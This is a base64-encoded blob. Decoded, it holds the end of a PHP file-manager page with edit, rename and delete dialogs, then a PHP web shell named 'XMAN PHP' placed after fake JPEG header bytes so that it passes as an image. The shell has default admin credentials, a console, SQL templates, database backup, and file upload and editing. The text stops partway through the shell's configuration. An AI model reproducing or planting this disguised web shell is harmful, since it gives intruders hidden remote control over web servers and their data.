cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PlxyXG4gICAgICAgICAgICAgICAgPFwvdGJvZHk+XHJcbiAgICAgICAgICAgIDxcL3RhYmxlPlxyXG4gICAgICAgIDxcL2Rpdj5cclxuICAgIDxcL2Rpdj5cclxuXHJcbiAgICA8IS0tIEVkaXQgRGlhbG9nIC0tPlxyXG4gICAgPGRpdiBpZD1cImVkaXREaWFsb2dcIiBjbGFzcz1cImZpeGVkIGluc2V0LTAgYmctZ3JheS02MDAgYmctb3BhY2l0eS01MCBoaWRkZW4gaXRlbXMtY2VudGVyIGp1c3RpZnktY2VudGVyIHZpdmlkLXRyYW5zaXRpb25cIj5cclxuICAgICAgICA8ZGl2IGNsYXNzPVwiYmctd2hpdGUgcC04IHJvdW5kZWQteGwgc2hhZG93LXhsIHctZnVsbCBtYXgtdy0zeGwgdHJhbnNmb3JtIHNjYWxlLTk1IHZpdmlkLXRyYW5zaXRpb25cIj5cclxuICAgICAgICAgICAgPGgyIGNsYXNzPVwidGV4dC0yeGwgZm9udC1ib2xkIG1iLTYgdGV4dC12aXZpZC1jaGFyY29hbFwiPkVkaXQgSXRlbTxcL2gyPlxyXG4gICAgICAgICAgICA8Zm9ybSBpZD1cImVkaXRGb3JtXCIgbWV0aG9kPVwicG9zdFwiPlxyXG4gICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3NyZl90b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnY3NyZl90b2tlbiddKTsgPz5cIj5cclxuICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJlZGl0SXRlbU5hbWVcIiBuYW1lPVwiaXRlbV9uYW1lXCI+XHJcbiAgICAgICAgICAgICAgICA8dGV4dGFyZWEgaWQ9XCJlZGl0SXRlbUNvbnRlbnRcIiBuYW1lPVwiaXRlbV9jb250ZW50XCIgY2xhc3M9XCJ3LWZ1bGwgaC04MCBwLTMgYm9yZGVyIHJvdW5kZWQtbGcgbWItNiBmb2N1czpvdXRsaW5lLW5vbmUgZm9jdXM6cmluZy0yIGZvY3VzOnJpbmctdml2aWQtdGVhbFwiPjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZsZXgganVzdGlmeS1lbmQgc3BhY2UteC0zXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIm1vZGlmeV9maWxlXCIgY2xhc3M9XCJiZy1ncmVlbi01MDAgdGV4dC13aGl0ZSBweC01IHB5LTIgcm91bmRlZC1sZyBob3ZlcjpiZy1ncmVlbi02MDAgdml2aWQtdHJhbnNpdGlvblwiPlNhdmU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImNsb3NlRGlhbG9nKCdlZGl0RGlhbG9nJylcIiBjbGFzcz1cImJnLWdyYXktNTAwIHRleHQtd2hpdGUgcHgtNSBweS0yIHJvdW5kZWQtbGcgaG92ZXI6YmctZ3JheS02MDAgdml2aWQtdHJhbnNpdGlvblwiPkNhbmNlbDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICA8XC9kaXY+XHJcbiAgICA8XC9kaXY+XHJcblxyXG4gICAgPCEtLSBSZW5hbWUgRGlhbG9nIC0tPlxyXG4gICAgPGRpdiBpZD1cInJlbmFtZURpYWxvZ1wiIGNsYXNzPVwiZml4ZWQgaW5zZXQtMCBiZy1ncmF5LTYwMCBiZy1vcGFjaXR5LTUwIGhpZGRlbiBpdGVtcy1jZW50ZXIganVzdGlmeS1jZW50ZXIgdml2aWQtdHJhbnNpdGlvblwiPlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJiZy13aGl0ZSBwLTggcm91bmRlZC14bCBzaGFkb3cteGwgdy1mdWxsIG1heC13LW1kIHRyYW5zZm9ybSBzY2FsZS05NSB2aXZpZC10cmFuc2l0aW9uXCI+XHJcbiAgICAgICAgICAgIDxoMiBjbGFzcz1cInRleHQtMnhsIGZvbnQtYm9sZCBtYi02IHRleHQtdml2aWQtY2hhcmNvYWxcIj5SZW5hbWUgSXRlbTxcL2gyPlxyXG4gICAgICAgICAgICA8Zm9ybSBpZD1cInJlbmFtZUZvcm1cIiBtZXRob2Q9XCJwb3N0XCI+XHJcbiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJjc3JmX3Rva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVNTSU9OWydjc3JmX3Rva2VuJ10pOyA/PlwiPlxyXG4gICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cIm9yaWdpbmFsSXRlbU5hbWVcIiBuYW1lPVwib3JpZ2luYWxfbmFtZVwiPlxyXG4gICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgaWQ9XCJuZXdJdGVtTmFtZVwiIG5hbWU9XCJuZXdfbmFtZVwiIGNsYXNzPVwidy1mdWxsIHAtMyBib3JkZXIgcm91bmRlZC1sZyBtYi02IGZvY3VzOm91dGxpbmUtbm9uZSBmb2N1czpyaW5nLTIgZm9jdXM6cmluZy12aXZpZC10ZWFsXCIgcmVxdWlyZWQ+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmxleCBqdXN0aWZ5LWVuZCBzcGFjZS14LTNcIj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lX2l0ZW1cIiBjbGFzcz1cImJnLWdyZWVuLTUwMCB0ZXh0LXdoaXRlIHB4LTUgcHktMiByb3VuZGVkLWxnIGhvdmVyOmJnLWdyZWVuLTYwMCB2aXZpZC10cmFuc2l0aW9uXCI+U2F2ZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwiY2xvc2VEaWFsb2coJ3JlbmFtZURpYWxvZycpXCIgY2xhc3M9XCJiZy1ncmF5LTUwMCB0ZXh0LXdoaXRlIHB4LTUgcHktMiByb3VuZGVkLWxnIGhvdmVyOmJnLWdyYXktNjAwIHZpdmlkLXRyYW5zaXRpb25cIj5DYW5jZWw8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgPFwvZGl2PlxyXG4gICAgPFwvZGl2PlxyXG5cclxuICAgIDxzY3JpcHQ+XHJcbiAgICAgICAgZnVuY3Rpb24gZWRpdEl0ZW0oaXRlbU5hbWUpIHtcclxuICAgICAgICAgICAgZmV0Y2goJz93b3Jrc3BhY2U9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRXb3Jrc3BhY2UpOyA/PiZvcGVyYXRpb249cmV0cmlldmVfZmlsZV9jb250ZW50Jml0ZW09JyArIGVuY29kZVVSSUNvbXBvbmVudChpdGVtTmFtZSkpXHJcbiAgICAgICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiB7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdJdGVtIG5vdCBmb3VuZCcpO1xyXG4gICAgICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZS50ZXh0KCk7XHJcbiAgICAgICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAgICAgLnRoZW4oY29udGVudCA9PiB7XHJcbiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRJdGVtTmFtZScpLnZhbHVlID0gaXRlbU5hbWU7XHJcbiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRJdGVtQ29udGVudCcpLnZhbHVlID0gY29udGVudDtcclxuICAgICAgICAgICAgICAgICAgICBvcGVuRGlhbG9nKCdlZGl0RGlhbG9nJyk7XHJcbiAgICAgICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAgICAgLmNhdGNoKGVycm9yID0+IHtcclxuICAgICAgICAgICAgICAgICAgICBhbGVydCgnRXJyb3IgbG9hZGluZyBpdGVtIGNvbnRlbnQ6ICcgKyBlcnJvci5tZXNzYWdlKTtcclxuICAgICAgICAgICAgICAgIH0pO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgZnVuY3Rpb24gb3BlblJlbmFtZURpYWxvZyhpdGVtTmFtZSkge1xyXG4gICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3JpZ2luYWxJdGVtTmFtZScpLnZhbHVlID0gaXRlbU5hbWU7XHJcbiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdJdGVtTmFtZScpLnZhbHVlID0gaXRlbU5hbWU7XHJcbiAgICAgICAgICAgIG9wZW5EaWFsb2coJ3JlbmFtZURpYWxvZycpO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgZnVuY3Rpb24gY29uZmlybURlbGV0ZShpdGVtTmFtZSkge1xyXG4gICAgICAgICAgICBpZiAoY29uZmlybShgQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSBcIiR7aXRlbU5hbWV9XCI/IFRoaXMgYWN0aW9uIGNhbm5vdCBiZSB1bmRvbmUuYCkpIHtcclxuICAgICAgICAgICAgICAgIGNvbnN0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7XHJcbiAgICAgICAgICAgICAgICBmb3JtLm1ldGhvZCA9ICdwb3N0JztcclxuICAgICAgICAgICAgICAgIGZvcm0uaW5uZXJIVE1MID0gYFxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImNzcmZfdG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSk7ID8+XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiaXRlbV9uYW1lXCIgdmFsdWU9XCIke2l0ZW1OYW1lfVwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRlbGV0ZV9pdGVtXCIgdmFsdWU9XCIxXCI+XHJcbiAgICAgICAgICAgICAgICBgO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTtcclxuICAgICAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIGZ1bmN0aW9uIG9wZW5EaWFsb2coZGlhbG9nSWQpIHtcclxuICAgICAgICAgICAgY29uc3QgZGlhbG9nID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZGlhbG9nSWQpO1xyXG4gICAgICAgICAgICBkaWFsb2cuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7XHJcbiAgICAgICAgICAgIGRpYWxvZy5jbGFzc0xpc3QuYWRkKCdmbGV4Jyk7XHJcbiAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4ge1xyXG4gICAgICAgICAgICAgICAgZGlhbG9nLnF1ZXJ5U2VsZWN0b3IoJy50cmFuc2Zvcm0nKS5jbGFzc0xpc3QucmVtb3ZlKCdzY2FsZS05NScpO1xyXG4gICAgICAgICAgICB9LCAxMCk7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBmdW5jdGlvbiBjbG9zZURpYWxvZyhkaWFsb2dJZCkge1xyXG4gICAgICAgICAgICBjb25zdCBkaWFsb2cgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChkaWFsb2dJZCk7XHJcbiAgICAgICAgICAgIGRpYWxvZy5xdWVyeVNlbGVjdG9yKCcudHJhbnNmb3JtJykuY2xhc3NMaXN0LmFkZCgnc2NhbGUtOTUnKTtcclxuICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7XHJcbiAgICAgICAgICAgICAgICBkaWFsb2cuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJyk7XHJcbiAgICAgICAgICAgICAgICBkaWFsb2cuY2xhc3NMaXN0LnJlbW92ZSgnZmxleCcpO1xyXG4gICAgICAgICAgICB9LCAzMDApO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgXC9cLyBDbGllbnQtc2lkZSBmb3JtIHZhbGlkYXRpb25cclxuICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdmb3JtJykuZm9yRWFjaChmb3JtID0+IHtcclxuICAgICAgICAgICAgZm9ybS5hZGRFdmVudExpc3RlbmVyKCdzdWJtaXQnLCAoZSkgPT4ge1xyXG4gICAgICAgICAgICAgICAgY29uc3QgaW5wdXRzID0gZm9ybS5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dFtyZXF1aXJlZF0sIHRleHRhcmVhW3JlcXVpcmVkXScpO1xyXG4gICAgICAgICAgICAgICAgbGV0IHZhbGlkID0gdHJ1ZTtcclxuICAgICAgICAgICAgICAgIGlucHV0cy5mb3JFYWNoKGlucHV0ID0+IHtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoIWlucHV0LnZhbHVlLnRyaW0oKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICB2YWxpZCA9IGZhbHNlO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICBpbnB1dC5jbGFzc0xpc3QuYWRkKCdib3JkZXItcmVkLTUwMCcpO1xyXG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIGlucHV0LmNsYXNzTGlzdC5yZW1vdmUoJ2JvcmRlci1yZWQtNTAwJyk7XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfSk7XHJcbiAgICAgICAgICAgICAgICBpZiAoIXZhbGlkKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xyXG4gICAgICAgICAgICAgICAgICAgIGFsZXJ0KCdQbGVhc2UgZmlsbCBpbiBhbGwgcmVxdWlyZWQgZmllbGRzLicpO1xyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9KTtcclxuICAgICAgICB9KTtcclxuICAgIDxcL3NjcmlwdD5cclxuPFwvYm9keT5cclxuPFwvaHRtbD4iLCJcdTAwZmZcdTAwZDhcdTAwZmZcdTAwZTAgXHUwMDEwSkZJRiBcdTAwMDFcdTAwMDEgIFx1MDAwMSBcdTAwMDEgIFx1MDBmZlx1MDBkYiBcdTIwMWUgXHRcdTAwMDZcdTAwMDdcdTAwMTBcdTAwMTBcdTAwMTBcdTAwMTBcdTAwMTBcdTAwMGZcdTAwMTBcdTAwMTBcdTAwMTBcdTAwMTVcdTAwMTVcdTAwMGZcdTAwMTBcdTAwMTBcdTAwMGZcdTAwMTBcdTAwMGZcdTAwMGZcdTAwMGZcdTAwMGZcdTAwMTBcdTAwMTBcdTAwMTBcdTAwMTVcdTAwMTVcdTAwMTZcdTAwMTZcdTAwMTVcdTAwMTFcdTAwMTVcdTAwMTVcdTAwMThcdTAwMWQoIFx1MDAxOFx1MDAxYSVcdTAwMWJcdTAwMTdcdTAwMTUhMSElKisuLi5cdTAwMTdcdTAwMWY5ODMsNygtLi1cdTAwMDFcclxuXHUwMGZmXHUwMGQ4XHUwMGZmXHUwMGUwIFx1MDAxMEpGSUYgXHUwMDAxXHUwMDAxICBcdTAwMDEgXHUwMDAxICBcdTAwZmZcdTAwZGIgXHUyMDFlIFx0XHUwMDA2XHUwMDA3XHUwMDEwXHUwMDEwXHUwMDEwXHUwMDEwXHUwMDEwXHUwMDBmXHUwMDEwXHUwMDEwXHUwMDEwXHUwMDE1XHUwMDE1XHUwMDBmXHUwMDEwXHUwMDEwXHUwMDBmXHUwMDEwXHUwMDBmXHUwMDBmXHUwMDBmXHUwMDBmXHUwMDEwXHUwMDEwXHUwMDEwXHUwMDE1XHUwMDE1XHUwMDE2XHUwMDE2XHUwMDE1XHUwMDExXHUwMDE1XHUwMDE1XHUwMDE4XHUwMDFkKCBcdTAwMThcdTAwMWElXHUwMDFiXHUwMDE3XHUwMDE1ITEhJSorLi4uXHUwMDE3XHUwMDFmOTgzLDcoLS4tXHUwMDAxXHJcbjw/cGhwXHJcblwvKiBYTUFOIFBIUCB2dmJkZmRmZyB2ZXIgMS40ZmZkZmdkZyAqXC9cclxuXHJcblwvXC8gQ29uZmlndXJhdGlvbiBcdTIwMTQgZG8gbm90IGNoYW5nZSBtYW51YWxseSFcclxuJGF1dGhvcml6YXRpb24gPSAne1wiYXV0aG9yaXplXCI6XCIwXCIsXCJsb2dpblwiOlwiYWRtaW5cIixcInBhc3N3b3JkXCI6XCJwaHBmbVwiLFwiY29va2llX25hbWVcIjpcImZtX3VzZXJcIixcImRheXNfYXV0aG9yaXphdGlvblwiOlwiMzBcIixcInNjcmlwdFwiOlwiPHNjcmlwdCB0eXBlPVxcXCJ0ZXh0XFxcL2phdmFzY3JpcHRcXFwiIHNyYz1cXFwiaHR0cHM6XFxcL1xcXC93d3cuY2RvbGl2ZXQuY29tXFxcL2VkaXRhcmVhXFxcL2VkaXRhcmVhXFxcL2VkaXRfYXJlYVxcXC9lZGl0X2FyZWFfZnVsbC5qc1xcXCI+PFxcXC9zY3JpcHQ+XFxyXFxuPHNjcmlwdCBsYW5ndWFnZT1cXFwiSmF2YXNjcmlwdFxcXCIgdHlwZT1cXFwidGV4dFxcXC9qYXZhc2NyaXB0XFxcIj5cXHJcXG5lZGl0QXJlYUxvYWRlci5pbml0KHtcXHJcXG5pZDogXFxcIm5ld2NvbnRlbnRcXFwiXFxyXFxuLGRpc3BsYXk6IFxcXCJsYXRlclxcXCJcXHJcXG4sc3RhcnRfaGlnaGxpZ2h0OiB0cnVlXFxyXFxuLGFsbG93X3Jlc2l6ZTogXFxcImJvdGhcXFwiXFxyXFxuLGFsbG93X3RvZ2dsZTogdHJ1ZVxcclxcbix3b3JkX3dyYXA6IHRydWVcXHJcXG4sbGFuZ3VhZ2U6IFxcXCJydVxcXCJcXHJcXG4sc3ludGF4OiBcXFwicGhwXFxcIlxcdFxcclxcbix0b29sYmFyOiBcXFwic2VhcmNoLCBnb190b19saW5lLCB8LCB1bmRvLCByZWRvLCB8LCBzZWxlY3RfZm9udCwgfCwgc3ludGF4X3NlbGVjdGlvbiwgfCwgY2hhbmdlX3Ntb290aF9zZWxlY3Rpb24sIGhpZ2hsaWdodCwgcmVzZXRfaGlnaGxpZ2h0LCB8LCBoZWxwXFxcIlxcclxcbixzeW50YXhfc2VsZWN0aW9uX2FsbG93OiBcXFwiY3NzLGh0bWwsanMscGhwLHB5dGhvbix4bWwsYyxjcHAsc3FsLGJhc2ljLHBhc1xcXCJcXHJcXG59KTtcXHJcXG48XFxcL3NjcmlwdD5cIn0nO1xyXG4kcGhwX3RlbXBsYXRlcyA9ICd7XCJTZXR0aW5nc1wiOlwiZ2xvYmFsICRmbV9jb25maWc7XFxyXFxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTtcIixcIkJhY2t1cCBTUUwgdGFibGVzXCI6XCJlY2hvIGZtX2JhY2t1cF90YWJsZXMoKTtcIn0nO1xyXG4kc3FsX3RlbXBsYXRlcyA9ICd7XCJBbGwgYmFzZXNcIjpcIlNIT1cgREFUQUJBU0VTO1wiLFwiQWxsIHRhYmxlc1wiOlwiU0hPVyBUQUJMRVM7XCJ9JztcclxuJHRyYW5zbGF0aW9uID0gJ3tcImlkXCI6XCJlblwiLFwiQWRkXCI6XCJBZGRcIixcIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT9cIjpcIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT9cIixcIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlP1wiOlwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/XCIsXCJBcmNoaXZpbmdcIjpcIkFyY2hpdmluZ1wiLFwiQXV0aG9yaXphdGlvblwiOlwiQXV0aG9yaXphdGlvblwiLFwiQmFja1wiOlwiQmFja1wiLFwiQ2FuY2VsXCI6XCJDYW5jZWxcIixcIkNoaW5lc2VcIjpcIkNoaW5lc2VcIixcIkNvbXByZXNzXCI6XCJDb21wcmVzc1wiLFwiQ29uc29sZVwiOlwiQ29uc29sZVwiLFwiQ29va2llXCI6XCJDb29raWVcIixcIkNyZWF0ZWRcIjpcIkNyZWF0ZWRcIixcIkRhdGVcIjpcIkRhdGVcIixcIkRheXNcIjpcIkRheXNcIixcIkRlY29tcHJlc3NcIjpcIkRlY29tcHJlc3NcIixcIkRlbGV0ZVwiOlwiRGVsZXRlXCIsXCJEZWxldGVkXCI6XCJEZWxldGVkXCIsXCJEb3dubG9hZFwiOlwiRG93bmxvYWRcIixcImRvbmVcIjpcImRvbmVcIixcIkVkaXRcIjpcIkVkaXRcIixcIkVudGVyXCI6XCJFbnRlclwiLFwiRW5nbGlzaFwiOlwiRW5nbGlzaFwiLFwiRXJyb3Igb2NjdXJyZWRcIjpcIkVycm9yIG9jY3VycmVkXCIsXCJGaWxlIG1hbmFnZXJcIjpcIkZpbGUgbWFuYWdlclwiLFwiRmlsZSBzZWxlY3RlZFwiOlwiRmlsZSBzZWxlY3RlZFwiLFwiRmlsZSB1cGRhdGVkXCI6XCJGaWxlIHVwZGF0ZWRcIixcIkZpbGVuYW1lXCI6XCJGaWxlbmFtZVwiLFwiRmlsZXMgdXBsb2FkZWRcIjpcIkZpbGVzIHVwbG9hZGVkXCIsXCJGcmVuY2hcIjpcIkZyZW5jaFwiLFwiR2VuZXJhdGlvbiB0aW1lXCI6XCJHZW5lcmF0aW9uIHRpbWVcIixcIkdlcm1hblwiOlwiR2VybWFuXCIsXCJIb21lXCI6XCJIb21lXCIsXCJRdWl0XCI6XCJRdWl0XCIsXCJMYW5ndWFnZVwiOlwiTGFuZ3VhZ2VcIixcIkxvZ2luXCI6XCJMb2dpblwiLFwiTWFuYWdlXCI6XCJNYW5hZ2VcIixcIk1ha2UgZGlyZWN0b3J5XCI6XCJNYWtlIGRpcmVjdG9yeVwiLFwiTmFtZVwiOlwiTmFtZVwiLFwiTmV3XCI6XCJOZXdcIixcIk5ldyBmaWxlXCI6XCJOZXcgZmlsZVwiLFwibm8gZmlsZXNcIjpcIm5vIGZpbGVzXCIsXCJQYXNzd29yZFwiOlwiUGFzc3dvcmRcIixcInBpY3R1cmVzXCI6XCJwaWN0dXJlc1wiLFwiUmVjdXJzaXZlbHlcIjpcIlJlY3Vyc2l2ZWx5XCIsXCJSZW5hbWVcIjpcIlJlbmFtZVwiLFwiUmVzZXRcIjpcIlJlc2V0XCIsXCJSZXNldCBzZXR0aW5nc1wiOlwiUmVzZXQgc2V0dGluZ3NcIixcIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmdcIjpcIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmdcIixcIlJlc3VsdFwiOlwiUmVzdWx0XCIsXCJSaWdodHNcIjpcIlJpZ2h0c1wiLFwiUnVzc2lhblwiOlwiUnVzc2lhblwiLFwiU2F2ZVwiOlwiU2F2ZVwiLFwiU2VsZWN0XCI6XCJTZWxlY3RcIixcIlNlbGVjdCB0aGUgZmlsZVwiOlwiU2VsZWN0IHRoZSBmaWxlXCIsXCJTZXR0aW5nc1wiOlwiU2V0dGluZ3NcIixcIlNob3dcIjpcIlNob3dcIixcIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyXCI6XCJTaG93IHNpemUgb2YgdGhlIGZvbGRlclwiLFwiU2l6ZVwiOlwiU2l6ZVwiLFwiU3BhbmlzaFwiOlwiU3BhbmlzaFwiLFwiU3VibWl0XCI6XCJTdWJtaXRcIixcIlRhc2tcIjpcIlRhc2tcIixcInRlbXBsYXRlc1wiOlwidGVtcGxhdGVzXCIsXCJVa3JhaW5pYW5cIjpcIlVrcmFpbmlhblwiLFwiVXBsb2FkXCI6XCJVcGxvYWRcIixcIlZhbHVlXCI6XCJWYWx1ZVwiLFwiSGVsbG9cIjpcIkhlbGxvXCIsXCJGb3VuZCBpbiBmaWxlc1wiOlwiRm91bmQgaW4gZmlsZXNcIixcIlNlYXJjaFwiOlwiU2VhcmNoXCIsXCJSZWN1cnNpdmUgc2VhcmNoXCI6XCJSZWN1cnNpdmUgc2VhcmNoXCIsXCJNYXNrXCI6XCJNYXNrXCJ9JztcclxuXC9cLyBlbmQgY29uZmlndXJhdGlvblxyXG5cclxuXC9cLyBQcmVwYXJhdGlvbnNcclxuJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7XHJcbiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTtcclxuJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTtcclxuJHBhdGggPSBlbXB0eSgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkcGF0aCA9IHJlYWxwYXRoKCcuJykgOiByZWFscGF0aCgkX1JFUVVFU1RbJ3BhdGgnXSk7XHJcbiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcGF0aCkgLiAnXC8nO1xyXG4kbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJyxyZWFscGF0aCgnLlwvJykpO1xyXG4kcGhhcl9tYXliZSA9ICh2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLFwiNS4zLjBcIixcIjxcIikpP3RydWU6ZmFsc2U7XHJcbiRtc2cgPSAnJzsgXC9cLyBzZXJ2aWNlIHN0cmluZ1xyXG4kZGVmYXVsdF9sYW5ndWFnZSA9ICdydSc7XHJcbiRkZXRlY3RfbGFuZyA9IHRydWU7XHJcbiRmbV92ZXJzaW9uID0gMS40O1xyXG5cclxuXC9cL0F1dGhvcml6YXRpb25cclxuJGF1dGggPSBqc29uX2RlY29kZSgkYXV0aG9yaXphdGlvbix0cnVlKTtcclxuJGF1dGhbJ2F1dGhvcml6ZSddID0gaXNzZXQoJGF1dGhbJ2F1dGhvcml6ZSddKSA/ICRhdXRoWydhdXRob3JpemUnXSA6IDA7IFxyXG4kYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSYmaXNfbnVtZXJpYygkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKSA/IChpbnQpJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7XHJcbiRhdXRoWydsb2dpbiddID0gaXNzZXQoJGF1dGhbJ2xvZ2luJ10pID8gJGF1dGhbJ2xvZ2luJ10gOiAnYWRtaW4nOyAgXHJcbiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgXHJcbiRhdXRoWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gOiAnZm1fdXNlcic7XHJcbiRhdXRoWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoWydzY3JpcHQnXSkgPyAkYXV0aFsnc2NyaXB0J10gOiAnJztcclxuXHJcblwvXC8gTGl0dGxlIGRlZmF1bHQgY29uZmlnXHJcbiRmbV9kZWZhdWx0X2NvbmZpZyA9IGFycmF5IChcclxuXHQnbWFrZV9kaXJlY3RvcnknID0+IHRydWUsIFxyXG5cdCduZXdfZmlsZScgPT4gdHJ1ZSwgXHJcblx0J3VwbG9hZF9maWxlJyA9PiB0cnVlLCBcclxuXHQnc2hvd19kaXJfc2l6ZScgPT4gZmFsc2UsIFwvXC9pZiB0cnVlLCBzaG93IGRpcmVjdG9yeSBzaXplID8gbWF5YmUgc2xvdyBcclxuXHQnc2hvd19pbWcnID0+IHRydWUsIFxyXG5cdCdzaG93X3BocF92ZXInID0+IHRydWUsIFxyXG5cdCdzaG93X3BocF9pbmknID0+IGZhbHNlLCBcL1wvIHNob3cgcGF0aCB0byBjdXJyZW50IHBocC5pbmlcclxuXH